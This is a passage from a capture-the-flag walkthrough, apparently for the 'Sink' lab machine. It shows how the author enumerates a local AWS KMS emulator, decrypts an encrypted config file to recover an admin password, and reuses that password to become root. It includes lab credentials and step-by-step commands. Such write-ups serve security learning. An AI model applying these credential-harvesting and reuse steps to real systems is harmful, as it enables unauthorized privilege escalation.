Now that we have a shell as the user, **david**, the Projects directory should now be accessible wherein an encrypted file, **servers.enc**, is stored:

```shell-session
david@sink:~$ ls -l Projects

  total 4
  drwxrwx--- 2 david david 4096 Feb  1 09:43 Prod_Deployment

david@sink:~$ ls -l Projects/Prod_Deployment/

  total 4
  -rw-r----- 1 david david 512 Feb  1 09:43 servers.enc

david@sink:~$ file Projects/Prod_Deployment/servers.enc

  Projects/Prod_Deployment/servers.enc: data
```

Looking back again into the running services accessible via **<http://127.0.0.1:4566>**, one of them was **kms** which stands for **Key Management Service** for AWS. It might have been used to encrypt the file. To make things easier, I forwarded the service running on port 4566 to my local machine:

```shell-session
$ ssh -i id_rsa -l marcus -L 4566:127.0.0.1:4566 10.10.10.225

marcus@sink:~$ su david
  
  Password: EALB=bcC=`a7f2#k

david@sink:/home/marcus$
```

### 6.2 KMS ENUMERATION

Enumerating this time the said service after running **`aws configure`** again:

```shell-session
$ aws kms list-keys --endpoint-url http://127.0.0.1:4566 | jq -r '.Keys[].KeyId'

  0b539917-5eff-45b2-9fa1-e13f0d2c42ac
  16754494-4333-4f77-ad4c-d0b73d799939
  2378914f-ea22-47af-8b0c-8252ef09cd5f
  2bf9c582-eed7-482f-bfb6-2e4e7eb88b78
  53bb45ef-bf96-47b2-a423-74d9b89a297a
  804125db-bdf1-465a-a058-07fc87c0fad0
  837a2f6e-e64c-45bc-a7aa-efa56a550401
  881df7e3-fb6f-4c7b-9195-7f210e79e525
  c5217c17-5675-42f7-a6ec-b5aa9b9dbbde
  f0579746-10c3-4fd1-b2ab-f312a5a0f3fc
  f2358fef-e813-4c59-87c8-70e50f6d4f70

$ aws kms list-keys --endpoint-url http://127.0.0.1:4566 | jq -r '.Keys[].KeyId' > key_ids
```

I took all the **`KeyId`** values from the output of list-keys which I will then iterate through to get their individual descriptions:

```bash
$ for i in $(cat kms_ids); do aws kms describe-key --key-id $i --endpoint-url http://127.0.0.1:4566 | jq -c '.KeyMetadata | {"KeyId": .KeyId, "Description": .Description, "KeyState": .KeyState, "EncryptionAlgorithms": .EncryptionAlgorithms}'; done > key_descriptions
```

There were multiple keys but only a handful were enabled and only one could be used for encryption or decryption -- **`804125db-bdf1-465a-a058-07fc87c0fad0`**:

```shell-session
$ cat key_descriptions | grep Enabled | jq

  {
    "KeyId": "804125db-bdf1-465a-a058-07fc87c0fad0",
    "Description": "Encryption and Decryption",
    "KeyState": "Enabled",
    "EncryptionAlgorithms": [
    "RSAES_OAEP_SHA_1",
    "RSAES_OAEP_SHA_256"
    ]
  }
  {
    "KeyId": "c5217c17-5675-42f7-a6ec-b5aa9b9dbbde",
    "Description": "Digital Signature Verification",
    "KeyState": "Enabled",
    "EncryptionAlgorithms": null
  }
```

### 6.3 KMS DECRYPT

Going back to the shell running as the user, **david**, to attempt to decrypt the **server.enc** file:

```shell-session
david@sink:~/Projects/Prod_Deployment$ aws kms decrypt --ciphertext-blob fileb://servers.enc --key-id "804125db-bdf1-465a-a058-07fc87c0fad0" --encryption-algorithm RSAES_OAEP_SHA_256 --endpoint-url http://127.0.0.1:4566 --query Plaintext
  
  "H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA="
```

The contents are still gibberish but when you check what kind of output was generated, the file turned to be a gzip compressed data. Using **`zcat`** to view the contents:

```shell-session
david@sink:~/Projects/Prod_Deployment$ echo H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA= | base64 -d > servers

david@sink:~/Projects/Prod_Deployment$ file servers

  servers: gzip compressed data, from Unix, original size modulo 2^32 10240

david@sink:~/Projects/Prod_Deployment$ zcat servers

  servers.yml0000644000000000000000000000021313774573563012010 0ustar  rootrootserver:
    listenaddr: ""
    port: 80
    hosts:
    - certs.sink.htb
    - vault.sink.htb
    defaultuser:
      name: admin
      pass: _uezduQ!EY5AHfe2
  [..omitted..]
```

Trying to use the credentials when switching user to root:

```shell-session
david@sink:~/Projects/Prod_Deployment$ su -

  Password: _uezduQ!EY5AHfe2

root@sink:~# id
 
  uid=0(root) gid=0(root) groups=0(root)

root@sink:~# ls -l root.txt

  -r-------- 1 root root 33 Apr 25 05:21 root.txt
```
